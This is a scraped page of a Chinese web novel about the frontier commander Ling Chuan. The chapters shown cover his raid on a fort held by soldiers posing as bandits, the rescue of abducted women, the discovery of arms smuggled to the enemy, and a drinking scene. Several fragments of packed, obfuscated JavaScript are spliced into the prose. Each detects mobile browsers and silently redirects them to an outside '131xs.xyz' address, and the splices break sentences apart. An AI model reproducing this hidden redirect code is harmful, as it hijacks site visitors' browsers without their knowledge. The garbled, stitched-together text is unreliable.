0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15947990|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>倒也不是人手不够,而是凌川发现,余生是一位可造之材。 不仅在平时的训练中异常刻苦,对于一些排兵布阵,也有着很高的天赋,几乎是一点就通,最主要的是,他有着敏锐的觉察力。 这一点对于一位将领来说,是非常宝贵的品质,只要稍加磨炼,定会成为一位出色的将领。 此次一战,狼烽口折损了二百多人,近百人致残,还剩下不到两百人,就连标长都战死两位,可谓损失惨重。 也不知道漠北大营何时对狼烽口补充兵员,但按照惯例,补充的也都是一些新兵。 到时候,余生这种人才必然要担重任。 此时,正值中午,六十余骑轻装上阵,不到一个时辰便赶到地点,这是一处矮山坡,翻过山坡便能看到一座土堡,规模不大且十分残破。 纪天禄带领的十余名斥候出身的老卒在远处密切观察,并未打草惊蛇。 见凌川到来,纪天禄立即迎了上来。 “情况怎么样?”凌川下马问道。 “按照您的吩咐,我们的人只是远远观察,并未打草惊蛇!”纪天禄回答道。 “地形摸清楚了吗?” 纪天禄点了点头,说道:“这座土堡以前是一座军驿,已经荒废几十年了,土堡一共前后两道门,周围皆是开阔地,没有掩体!” “对方大约四五十人,今早有十余骑离开了土堡至今未归,卑职发现,他们使用的竟然是北系军的制式战刀,而且,土堡碉楼和城墙上还设置了哨卡,种种迹象表明,他们并非普通响马,反而像是训练有素的边军!” 纪天禄不愧是曾经的斥候校尉,军事素养非常过硬,在不打草惊蛇的情况下,已经将敌人的情况摸得七七八八。 凌川点了点头,直接下令:“唐岿然听令!” “属下在!”唐岿然包全年答道。 “你率二十人随我从正门杀入,其中十人配盾牌!” “是!” “纪天禄率二十人从后门杀入,后门狭窄以刀柄为主!” “得令!” 第75章 百步穿杨,箭无虚发! 紧接着,凌川看向余生,“余生听令!” 余生先是一愣,随即立马抱拳,“属下在!” “你带二十游骑,分散在土堡周围,谨防漏网之鱼!”凌川说道。 余生面露难色,对于凌川的命令,他自当遵从,可这次来的都是曾经的南系军悍卒,随便一人的资历都在他之上,凌川却让他带队,让他心里没底。 “怎么?有问题吗?”凌川见他迟迟不回话,问道。 “领命!”余生铿锵回答道。 “校尉大人,咱们要不要等晚上再行动?”唐岿然问道。 凌川也在想这个问题,这土堡四周没有掩体,晚上自然是更容易靠近,但,对方却站着地利之势,己方却对土堡之中的格局一无所知。 无论是白天还是晚上,对于己方而言,皆是有利有弊。 就在这时,远处传来一阵马蹄声,凌川抬眼望去,十多骑从东南方向奔来,这十多骑的速度并不快,似乎是载了货物,可惜太远看不清楚。 “每一匹马都驮着两个人!”就在这时,身旁传来聂星寒的声音。 “两个人?”纪天禄一愣,问道。 聂星寒点了点头,说道:“每一匹马上,都有一个被绑住手脚的女子趴在马鞍前面!” 此言一出,让所有人都为之一惊,毕竟,双方相距将近三里,一般人只能依稀辨认出人数,可聂星寒却直接看出了这些细节,着实令人震惊。 之前,纪天禄确实带人靠近侦查了,但为了不打草惊蛇,摸清相应情况后,便果断撤了回来。 凌川目光微凝杀意绽放,无论是马贼还是边军,掳掠良家女子,都该杀。 见那十余骑已经从正门进入土堡,凌川果断下令:“不用等晚上了,现在就行动!” 现在行动,或许能救下那些被掳来的女子。 很快,两支二十人的队伍直奔土堡的正门和后门而去,余生则是带领二十游骑迅速分散到土堡各个角落。 他们没有隐匿行踪,而是堂而皇之地骑着战马冲了过去。 沉重的马蹄声很快便惊动了碉楼之上的马贼。 那名马贼见一支骑兵直奔土堡而来,顿时一惊,连忙取出腰间牛角号。 然而,他刚把号角放在嘴里,还没来得及吹响,一支铁箭直接从侧边洞穿了他的脖子。 “噗……” 那名马贼双目圆瞪,直接倒在碉楼的望台之上,鲜血将木板染红。 两三里的距离,对于全速奔跑的骑兵而 言,不过是转瞬即至。 聂星寒连连开弓,破败城墙之上的几处哨卡纷纷被拔掉,以至于,他们已经冲到正门五百步,土堡之内都还没有发现。 四次开弓干掉四名马贼,箭无虚发,而且,他开弓的时候,胯下战马一直处于奔跑状态,哪怕是凌川,都再一次对聂星寒的箭术感到震惊,至于队伍中的其他人,更是震撼到了极点。 此次前来的,都是曾经军中兵卒,他们也曾听闻过百步穿杨的神射手,但却从未见过,没想到死字营之中竟然有一位神射手。 “聂兄弟,干得漂亮!身后唐岿然夸赞道。 聂星寒置若罔闻,只见他再次取出一支铁箭搭在弦上,弓弦半开,双眼死死盯着前方土堡。 “呜呜…… 就在此时,土堡内传来一阵急促的号角声,显然是对方已经发现了他们的存在。 奈何他们发现得太晚了,此时凌川已经带人杀到正门跟前。 这原本是一座军驿,虽四周有土墙,但墙并不高,木门虽然加厚了,但根本无法与城门相比。 随着唐岿然一声令下,几名老卒驱马上前,直接将木门撞开。 凌川翻身下马,直接拔出腰间战刀:“杀进去! 与此同时,聂星寒搭在弦上的那支箭也终于射了出去。 “啾…… 伴随着一道尖啸声,响箭升空,那是传递给纪天禄的信号,之前便约定好,等攻破正门,纪天禄便立马对后门发起进攻。 战斗瞬间爆发,凌川带着众人冲进正门,只见大批手持战刀的马贼也从屋内冲了出来,直接扑向他们。 聂星寒连连开弓,每次都是三箭齐发,冲在前面那批马贼直接被放倒。 很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15947991|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快箭壶中的三十余支铁箭便被射空,好在凌川专门为他配置了三支箭壶。 而此时,凌川已经冲到跟前,一刀劈出,当场将一名马贼砍翻在地,紧接着他刀锋一转,横扫而过,两名马贼被划破咽喉,鲜血喷涌而出。 “列阵! 唐岿然大喝一声,众人迅速按照五行锥阵排列,盾牌手上前,迅速推进。 很快,便有二十多名马贼**掉,其他马贼当场被吓破了胆,直接转身退回屋内。 “战阵推进,切莫伤及无辜!凌川大喝一声,正欲追上去,却被唐岿然抢先了一步。 在唐岿然眼里,凌川是校尉,但也是自己的妹夫,冲锋陷阵这种事情,怎么也该怎么先上。 与此同时,土堡后门方向也传来喊 杀声与打斗声,显然纪天禄那边已经开始进攻了。 土堡的格局并不复杂,标准的军驿格局,除了正堂之外,两边还有几座土房。 此时,正堂的门被抵死,就在众人准备强攻的时候,里面传来‘嘎吱嘎吱’的声音。 唐岿然敏锐察觉到了异常,连忙大喝一声: “盾!” 盾牌手迅速列成一排,果然,大片羽箭从窗户射了出来,要不是唐岿然发现及时,这些羽箭会给他们带来不小伤亡。 “杀进去!” 趁着对方换箭的空挡,唐岿然直接冲上前,一刀将木门劈碎。 “咻咻咻……” 又是一轮羽箭飞射而来,好在盾牌手早有准备,将其全部挡下。 “杀……” 唐岿然与凌川率先杀了进去,正堂之中有十多名马贼,个个手持战刀,见大批士兵杀进来,这些马贼的脸上写满了恐惧之色。 “各位军爷,我等素无冒犯,为何无故发难?”人群后方传来一道声音。 凌川没有理会,而是直接带人压了上去。 一番激战之后,鲜血染红了正堂,近十名马贼被斩杀,剩余几人见状,连忙丢掉兵器,举手投降,此时也都被拿下。 “你带人仔细搜查!”凌川唐岿然说道。 “是!” 第76章 边军的耻辱 唐岿然带着十余名士兵离开,正堂之中除了凌川和聂星寒之外,便是那几名押着马贼的士兵。 凌川冰冷的目光从这几名马贼身上扫过,“谁是当家的?上前回话!” 几人面面相觑,却没有吭声。 凌川没有任何废话,手中战刀猛然划过,将其中一人咽喉割开。 大量鲜血喷涌而出,那名马贼满脸恐惧,倒在地上抽搐了几下便断绝了生机。 剩余三人也是满脸恐惧,没想到这个领头英俊少年下手竟然如此果断狠辣,丝毫没有多余的废话。 “我再问一遍,谁是当家的?” “回禀军爷,当家的,当家的已经跑了!”一名男子颤颤巍巍地说道。 凌川扫了他一眼,淡笑道:“放心,他跑不掉的!” 紧接着,凌川继续看着他,说道:“那说说你吧!” 那人眼神之中闪过一丝慌乱,说道:“我?我就是一个小瘪三,为了讨口贪吃逼不得已才做了响马,军爷饶命啊……” 凌川则是摇了摇头,说道:“你可不是小瘪三,你是一名边军!” 此言一出,那人眼神中满是震惊,哪怕是聂星寒也都是一脸的不可思议。 “军爷说笑了,小的倒是做梦都想加入边军,奈何几次都没当上……”他装出一脸无辜,连连摆手。 凌川看着他,冷笑道:“你手上的老茧和下巴的勒痕已经暴露了你的身份,真当我好糊弄吗?” 听闻此言,那名男子顿时一惊,没想到对方仅凭这些细节便看穿了自己的身份。 既然如此,他也索性不装了,挺直腰杆,说道: “凌川,我可是北系军校尉,你若杀我便是同袍相残!” 凌川眉毛一挑,没想到还有大鱼,竟然抓到一名校尉,不过这也让他意识到,这座不起眼的土堡绝没有表面看起来那么简单。 谁知,凌川摇了摇头,说道:“我今日前来只为清剿马贼,没见到什么校尉!” “呵呵,你今日要是敢杀我,我保证你会死得更惨,你要是识相,就带着你的人离开,假装什么都没发生!”男子冷笑一声,有恃无恐地说道。 凌川看着他,笑道:“你未免太高估自己的分量了,你们假扮马贼截取军粮,仅此一条便是死罪,你觉得你身后的人会保你吗?亦或者说,他敢保你吗?” 听到这话,男子脸上的笑容瞬间凝固,他很清楚,这件事情一旦被败露,就算是自己上面那位也保不住自己。 而且,正如 凌川所言,一旦败露,自己极有可能成为弃子。 就在这时,浑身是血的唐岿然冲了进来,对凌川抱拳说道:“校尉大人,大部分马贼都被斩杀,有十余人被生擒,怎么处理?” “杀!” 凌川没有任何犹豫,冷声吐出一个字,听到这个杀字,那名校尉与另外两人的嘴角猛然一抽,眼神中闪过深深的恐惧。 “是!”唐岿然应了一声,随即转身走了出去。 紧接着,纪天禄也快步走了进来,脸上写满了怒火,说道:“校尉大人,我们在地窖中找到良家女子,足有三十多人,这些**马贼正准备对她们灭口,还好我们赶到得及时!” 凌川顿时眉头一皱,之前看到的只有十来名女子,可刚刚查到有三十多名,由此看来,掳掠良家女子这种事情,他们已经不是第一次做了。 更让凌川想不明白的是,明知自己等人杀进来他们却还想着将那些女子灭口再逃跑,这说明什么? “还有……” 凌川微微转过目光,问道:“还有什么?” “属下在另一间地窖中发现了大量甲胄和兵器!”晁远山沉声说道。 听闻此言,凌川内心也不由得为之一惊,要知道,私藏兵器甲胄,那可是谋反大罪,杀头都是轻的,动辄便是夷三族。 凌川看着那名校尉,问道:“说说吧,你们抓那些女子是什么用途,私藏的那些兵器甲胄,又想干什么?” 男子冷笑一声,说道:“说了是死,不说也是死,但我要是不说,家人便可以获得一笔钱财,足够他们下半生开销,你觉得,我会说吗?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15947992|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >听闻此言,凌川目光闪烁,已然猜到了一些背后的事情。 他淡淡说道:“你说,我保你活!” 男子不屑地嘲笑道:“就你?你凌川不过是一个小小的校尉,放眼北疆,能一只脚把你踩死的大有人在,你拿什么保我?” “唰……” 一道寒芒闪过,凌川手中的战刀一扫而过,那两名男子被一刀封喉,倒地身亡。 凌川收刀入鞘,对身旁的其他人说道:“你们去外面等我!” 待二人转身走出去后,凌川再次看向他,说道:“我用手中这把刀和我这条命保证,你若坦白交代,我保你不死!” 男子眼神明灭不定,显然内心在剧烈挣扎。 “我知道,你的骨子里还是一名边军,一名守土护疆的战兵,做这种伤天害理的事情,也不是你的本意,而是因为某些原因被卷入进来,以至于无法脱身!” 听到这句话,他身体微微颤抖了一下,尽管只是一个很细微的动作,却还是被凌川敏锐捕捉到了。 许久之后,男子长叹了一口气,自嘲道:“我叫郭肃,定州人氏,从军三年,可对于我来说自己就是边军的败类,边军的耻辱!我不配当边军,不配手中的战刀和身上的铠甲,甚至,我都不配做一个人!” “我想堂堂正正做一名边军,镇守国门,建功立业,可现实却根本不给我机会,都怪当初自己怕死,让自己一步步陷入泥潭,等我醒悟过来,想要后退的时候,发现身后早已经没有了退路!” “我死不足惜,可我家中有年迈的父母,还有嗷嗷待哺的女儿,我怎么能让他们遭受牵连……” 说到这里,郭肃早已是痛哭流涕。 凌川心里很清楚,让一个背叛自己的信仰,去做一些背道而驰的事情,是一件何等残忍的事情。 片刻后,郭肃收拾起自己的情绪,开口说道:“三年前,我还是北系军中的一名小卒,第一次上战场两军惨烈厮杀,鲜血飞溅的场景直接被吓得我双腿发软,索性自作聪明躺在**堆里装死,本以为自己很聪明,却没想到被督战队的人一眼看穿。” 第77章 边军有**! “当晚,我便被蒙着脑袋,带到章参军营帐中,我本以为自己必死无疑,再不济也会被打入死字营,没想到章参军非但没有治我的罪,反而是提拔我为标长,成为他的亲信!” “一开始,章参军只是让我做一些无关紧要的事情,后来,更是让我悄悄将兵器甲胄运到这里,之后,又将一些跟我一样犯了错本该打入死字营的军卒带到这里来,以响马的身份干一些见不得光的事情!” “那些女子便是从数十里外的村镇掳来的,关一段时间等风头过了,便会被送走!” “送去何处?”凌川连忙问道。 “关外!给胡羯人当**!” 听闻此言,凌川眼神中闪过一丝冰冷的杀意。 他本以为,这些人强抢民女,要么是满足自己的兽欲,要么是卖去青楼换钱财,没想到他们竟然如此丧心病狂,直接卖给胡羯人。 北疆边军舍生忘死浴血奋战,戍守边疆宿风饮雪,守的不仅是脚下山河,更是黎民百姓。 可这些人面兽心的家伙,竟然做出如此丧心病狂的事情,将自己的同胞子民当成货物卖给敌国,可想而知,这些女子流落到胡羯之后的命运,凌川简直不敢想象。 “那兵器甲胄呢?准备用来做什么?”凌川又问。 “跟那些女子一样,过段时间就会有商队路过这里,将其运到关外!”郭肃回答道。 听闻此言,凌川身上的杀意更甚,如果说将百姓女子卖到胡羯是人神共愤的话,那倒卖兵器铠甲,就是实打实的**了。 毕竟,胡羯可是大周的生死大敌,那些兵器和铠甲都会成为攻打大周的利器,他们这无异于在给敌人递刀,这种人就算将其千刀万剐,也毫不为过。 “该杀!”凌川咬牙吐出两个字。 许久之后,凌川逐渐平复了身上的杀意,看了郭肃一眼,问道。 “这些事情大将军可曾知情?” 凌川这个问题十分谨慎,如果大将军卢恽筹知道这件事情却放任不管,亦或者说他本就是背后的那只掌控全局的大手,那凌川简直不敢想象整个北系军已经腐烂到了什么程度。 郭肃摇了摇头,说道:“具体我也不确定,但从种种迹象表明,大将军应该不知情,要不然我们也不用这般小心翼翼!” 凌川暗自松了一口气,又问道:“那你觉得,参与这些事情的高层还有谁?我不相信仅凭章绩这个参军便能运作全程。” “这一点,我确实留意过,但我的身份能接触到的机密很少,只 知道在章参军背后还有一位手握实权的大人物,至于具体是谁,就不得而知了!”郭肃认真说道。 凌川点了点头,说道:“总有一日,我会与他们一一清算!” 将心中秘密一一说出之后,郭肃似乎整个人都轻松了很多,苦笑道:“我知道的都说了,你动手吧!” 凌川看着他,说道:“你虽是身不由己,但犯下的这些罪孽却不是一死就能了结的!” “我这种人,死后当下地狱,永世不得超生,死对于我而言,不过是一种解脱!”郭肃似乎对于死亡并没有害怕与恐惧。 “留着你这副躯体,杀敌赎罪吧!”凌川说完便起身走了出去。 一炷香之后,滔天大火将土堡吞噬,五十余名马贼的尸体全部葬身火海,包括那名校尉郭肃。 不过,极少有人注意到,死字营队伍中多了一名新卒,名唤寇悔。 土堡之中的钱财粮食以及地窖之中的兵器铠甲,全部都被带了出来,装了足足八辆马车,要不是有这些马车,他们想将这些东西带走,还真不容易。 然而,刚刚解救出来的三十余名女子,却让凌川犯愁起来。 “校尉大人,刚刚已经问过了,这些女子都是周围村落的人,最远的有将近五十里!”唐岿然上来禀报道。 “给他们配发口粮,然后送回家” 凌川说完驱马来到这三十名女子跟前,只见这些女子十分狼狈,一个个面黄肌瘦,很多还带着伤,小的只有十四五岁,最大的也就十**岁。 “拜见将军,谢将军救命之恩!” 所有人齐齐跪地,连连叩恩。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15947993|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 凌川示意他们起身,说道:“大家不必多礼,我不是什么将军!” 紧接着,凌川又说到:“我们准备收兵回营了,不能带着你们回军营,如果你们想回家,我会让人给你们派发口粮,然后送你们回家去!” 一众女子顿时露出悲伤与无助,“将军,我们的亲人都死在马贼手中,我们早已是无家可归了!” 凌川闻言,眼眸中闪过一抹冰冷杀意,那些人定然是害怕让事情败露,所以,在掳走她们的同时,还将其家人杀害,真是罪不容诛。 眼下,自己虽然将她们解救出来,但如何安置却是一大难题,如果将她们放回去,没有家人的庇护,她们这样的弱女子根本没有生存能力。 而且,一旦将她们放回去,自己这次行动也会暴露不说,她们还有被灭口的风险。 见她们一个个楚楚可怜的样子,不少士兵皆生出怜悯之心,虽然他们一言不发,但这些目光都被凌川尽收眼底。 对于这些常驻军营的汉子来说,异性自然是有着莫大的吸引力,这是人的本能,对于男女都一样。 事实上,看着那一双双渴求的眼神,凌川也生出恻隐之心,当然,只是单纯的同情。 忽然,他脑海中生出一个念头。 “如果你们愿意,我会给你们安排吃住,条件是你们得干活!” 听闻此言,一众女子简直不敢相信自己的耳朵,激动地问道:“将军说的是真的吗?” “将军放心,只要有饭吃,我们一定卖力干活,绝不偷懒!” 就在这时,唐岿然走到凌川跟前,小声说道:“校尉大人,这些女子干不了什么重活,而且,除了漠北的死字营之外,是不允许平民进入军营的!” “放心吧,我自有打算!”凌川点头,喊道:“余生!” “到!”余生驱马上前。 “会骑马的把马分给他们,不会骑马的去坐马车,回狼烽口!”凌川吩咐道。 “是!” 之前在土堡缴获了十辆马车以及二十余匹战马,虽然都是下等马,但拉东西足够了。 第78章 自成一营! 回到狼烽口的时候天都快黑了。 凌川提前让苍蝇赶回狼烽口通知士兵们建造了三座营造用来安顿这些女子。 狼烽口最近大兴土木材料齐全等凌川等人返回的时候三座营造已经基本建造完毕。 这三座营造建造在凌川的院子不远处一来是位置偏僻一些避免她们在军营中出没最主要是军营之中都是一些单身多年的汉子突然见到这么多年轻少女 一众回到营帐之后苏璃立马给她们送去饭菜众人早已饿得发昏一个个吃得不比军卒少。 “慢慢吃饭有的是!”苏璃体贴地说道。 而凌川则是第一时间赶到校尉营与陈暻垚碰头。 听凌川将此行的细节一一道出之后陈暻垚脸色一面阴沉杀意澎湃。 只见他猛拍桌案咬牙道:“这些天杀的畜生!” “贩卖人口、倒卖军械这任何一条都足以让他们掉十次脑袋!”陈暻垚满脸愤懑起身说道:“难怪这些年北系军接连失利难怪胡羯人的兵器铠甲在短短几十年内便赶超大周原来是有这么一群**在给敌人递刀!” “据盘问得知这种事情已经持续好几年了可一直没有被发现这背后绝对有一个巨大的团体而章绩不过是被推在明面上的人而已!”凌川说道。 陈暻垚点头“此事关乎北系军的生死存亡必须尽快禀报大将军!” “不可妄动如今我们不知道北系军高层有哪些人参与到其中如果贸然前去说不定还没见到大将军便已经被人给拿下了!”凌川出言阻止。 就在这时甲标标长耿良快步跑了进来抱拳道:“两位校尉大人节度府参军叶大人来了!” 听闻此言凌川神色一喜说道:“机会来了!” 两人走出营帐只见一袭儒衫的叶世珍带着几名亲卫快步走来。 之前狼烽口已经将捷报传至节度府算算时间这两日便会有人下来监察战功上一次来的是章绩而这一次来的却的叶世珍显然是大将军特意安排。 “属下陈暻垚见过叶大人!” “属下凌川见过叶大人!” “哈哈哈一路紧赶慢赶总算是在天黑前赶到了!”叶世珍笑着走上前来笑着说道。 进入帐中叶世珍满脸笑容拍着凌川的肩膀说道:“好小子我果真是没看错你你也没让大将军失望!” “还得感谢叶大人若不是你力 荐,我连一兵一卒都带不走!”凌川真心感激道。 “说好的请我喝酒,今儿个你可别想赖账!”叶世珍打趣道。 “大人说笑了,今晚酒管够!”凌川也笑着回应道。 随即,叶世珍又看向陈暻垚说道:“当初,有人说你陈暻垚的手只会捏笔杆子,我第一个不信,事实证明,你陈暻垚的手不仅拿得了笔杆子,也握得住战刀!” “五百兵卒对抗三千精兵的猛攻,血战两天三夜死守狼烽口,你陈暻垚给吾辈书生打了个样!” “大人过誉了,属下不过是恪守本分而已,若非叶大人鼎力相助,帮凌川借来援兵,最终的结果只能说五百兵卒战至最后一滴血,胡羯铁骑攻破狼烽口,马踏国门、屠戮百姓!” 叶世珍轻叹了一口气,说道:“辛苦了!” 紧接着,他正了正色,朗声说道:“大将军令,狼烽口校尉陈暻垚守关有功,封六品都尉,赏银三千两,继续镇守狼烽口!狼烽口所有守军**行赏!” 陈暻垚的脸上并无太大喜色,只是抱拳回应:“谢大将军,属下一定不辱使命,不让胡贼踏入狼烽口半步!” 叶世珍恭喜道:“大将军让我告诉你,很快就会为狼烽口补充兵力,而且,你也要做好调离狼烽口的准备,毕竟堂堂都尉,若是一直让你统领这五百步卒守在狼烽口,未免太屈才了,看来,陈校尉距离那身将军甲不远了,哈哈哈……” 按照大周军阶制度,只有正五品才能称之为将军,六品为都尉、七品为校尉。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15947994|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>陈暻垚却是回答得心不在焉,在他看来,若是需要用手下士兵的尸体去换取功名利禄,那自己不要也罢,奈何,这根本由不得自己选。 正如凌川所说,战争一旦开打,就注定要**。 这或许就是书上说的‘凭君莫话封侯事,一将功成万骨枯’吧! 紧接着,叶世珍转头看向凌川,笑道:“凌川,此前大将军已经破格提你为校尉,这次就没有封赏!” 对此,凌川并不感到意外,毕竟此前在北疆大营,他可是向大将军立下军令状,不求立功,只求解狼烽口之围。 叶世珍顿了顿,说道:“不过,大将军有一道军令给你!” “属下接令!”凌川抱拳答道。 “死字营全体将士不畏生死大破敌军,特为所有士兵解除奴籍,从今往后享有军卒同等军饷俸禄!全营暂驻狼烽口修养,协助修缮,择日调离!”叶世珍朗声宣读。 “谢大将军!”尽管这是大将军卢恽筹之前答应他的条件,但此刻凌川还是十分激动,毕竟正是这个信念,支撑着死字营成员一路奔袭血战。 至于调离,也在意料之中,毕竟狼烽口住不下这么多兵力。 “即日起,死字营自成一营,由凌川统率,望其不负天恩,戍守边疆、奋勇杀敌!”叶世珍继续宣读。 “死字营上下,定不负大将军嘱托!”凌川再次抱拳道。 紧接着,叶世珍从身后亲卫手中接过一面军旗,交给凌川:“这是大将军亲自赐下的死字营营旗!” 凌川双手接过,内心无比激动。 不久之后,消息传到死字营,上至标长下至普通士卒,无不狂喜欢呼,尽管此前凌川已经给他们许诺,打赢这一战,便可解除身上的奴籍,可当这一刻真正来临,他们依旧难掩内心的激动。 有的人仰天大笑,状若疯癫。 有的人痛哭流涕,嚎啕大哭。 有的人面朝家乡的方向,跪地不断磕头。 第79章 酒名狼血! 只有真正真正进入死字营才明白,那是何等的绝望,不仅饱受极寒还得每日劳累,过着苟延残喘的日子。 那个‘奴’字就像是一道耻辱的烙印,让他们看不到希望,哪怕是死后,也要被永远钉在耻辱柱上。 然而,今日,他们终于将死字营的枷锁挣断,将‘刻在’脸上的奴字烙印撤掉,从此堂堂正正做人。 而这一切,都是凌川带给他们的,如果没有凌川,他们或许将饱受折磨,老死在死字营,亦或者在不久之后的某一天被当做抵挡胡贼刀箭的炮灰,惨死在战场上,就连尸体都会被铁蹄踏成肉泥。 唐岿然等一众南系军汉子围坐在一起,一个个满脸热泪,一遍遍地重复着:“我们不再为奴了,不再为奴了……” 虽然,依旧是死字营,但他们很清楚,这个死字营并非北疆大营的死字营,而是马踏疆场、不畏生死的死字营。 由于天色已晚,叶世珍便留宿狼烽口,夜晚,凌川亲自下厨做了几样下酒菜,三人聚在一起喝酒。 看着满桌常见的食材,可做法自己却是一样都没见过,叶世珍直接拿起筷子品尝起来。 “好小子,你这手艺去风雪楼掌勺都绰绰有余了!”叶世珍夸赞道。 “叶大人,你尝尝这酒!”凌川笑着举杯。 叶世珍略带疑惑地端起酒杯,见其清澈如白水顿感疑惑,随即凑到鼻子跟前闻了闻,顿时浓郁的酒香直接钻了进去,令人陶醉。 紧接着,他自顾自喝了一口,霎时间,酒水宛如一条盘旋在口中的火龙,直接撕裂咽喉,直捣胸腹。 片刻后,余味反刍,辛辣渐褪,陈香始现! 叶世珍虽是脸色通红,却是一脸陶醉,感叹道:“没想到这世间竟有如此美酒,为何我以往从未见过?” 凌川笑道:“这是属下自己酿的酒,叶大人若是喜欢,回头我送你几坛,带回去!” “实话说,你要是送其他东西我定然不会收,可这酒,我实在是拒绝不了啊!” “哈哈哈哈……” 酒过三巡、菜过五味! 叶世珍也是酒足饭饱,却不舍放杯。 “凌兄弟,这是我这辈子喝过最好喝的酒了,不知这酒叫什么名字?”叶世珍已有几分微醺。 “还不曾起名,若先生愿赐名,那定是这酒的荣幸!”凌川回答道。 “不不不,能给此等绝世佳酿冠名,那是我叶某人的荣幸才对!”叶世珍连连摆手说道。 叶世珍端起酒杯,再次饮下一口 ,说道:“入口之时如凶猛如群狼出动,肆意撕咬猎物,我看就叫它狼血如何?” “好名字!如此霸道的名字,也只有这般烈酒才能配得上,我边军男儿,当饮此烈酒!”陈暻垚笑着说道。 凌川也点头表示认同,随即问道:“叶先生觉得,这狼血若在市面上出售,定价多少合适?” 叶世珍想了想,说道:“普通米酒约莫三十文钱一斤,十里香卖一两银子一斤,这酒比十里香好了太多,卖三五两银子完全不在话下!” 凌川点了点头,别说是五两银子一斤,就算是跟十里香一样,卖一两银子,也有得赚。 之所以这样问,主要是今天带回来这三十多名女子,想要管她们吃住,得想一个长久之计。 凌川便想着,教她们酿酒,然后再拿到周围城内去售卖,这不仅解决了她们的吃住问题,还能创造价值,也符合自己之前的计划中,发展商业的规划路线。 “怎么?你想做酒水生意?”叶世珍好奇地问道。 凌川尴尬一笑,说道:“不瞒叶先生,原本我酿酒只是自己个儿喝的,但,今日剿灭了一群响马,解救了一群良家女子,她们皆是无家可归之人,便想着是否能开个酒坊,为她们谋一份生计!” “响马?在何处剿灭的?”叶世珍神色顿时变得严肃起来,满脸震惊地问道。 “三十里外的土堡!”凌川看着叶世珍说道。 “不可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15947995|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能!”叶世珍斩钉截铁地说道:“多年前,北疆境内数百里的匪患便被清剿干净,绝不可能有响马的存在!” “叶大人,卑职亲自带人去剿灭的,共五十余名马贼,之前,你派给狼烽口的军粮,便是被他们所劫,你难道不知道?”凌川一脸诧异地看着他问道。 “什么,军粮被劫?”叶世珍再次露出惊愕之色。 “就在你带人离开漠北大营之后,大将军便派我去边境查看布防情况,此后又接到大将军的命令,让我来狼烽口督查战功,根本不知道军粮被劫之事!” “他们不仅劫军粮,还滥杀百姓、贩卖女子,在土堡的地窖中,我们还搜到一批兵器和甲胄!” 此言一出,叶世珍彻底坐不住了,霍然起身,脸色一片凝重,死死盯着凌川,问道:“凌川,你说的都是真的?” 凌川郑重点头:“大人,随我前去的六十多名士兵皆可作证,卑职所说的每一个字都是真的!” “这哪里是什么响马,分明是兵匪勾结,甚至那些所谓的响马本就是边军!”叶世珍沉声说道。 整个过程,凌川与陈暻垚都在观察叶世珍的表情,发现他确实不知情。 凌川前世作为特种兵,审讯课程中,通过微表情观察其心理活动是一门必修课,如果叶世珍是知情者,刚刚在提到土堡、兵器甲胄等关键词的时候,他不可能没有丝毫表情变化。 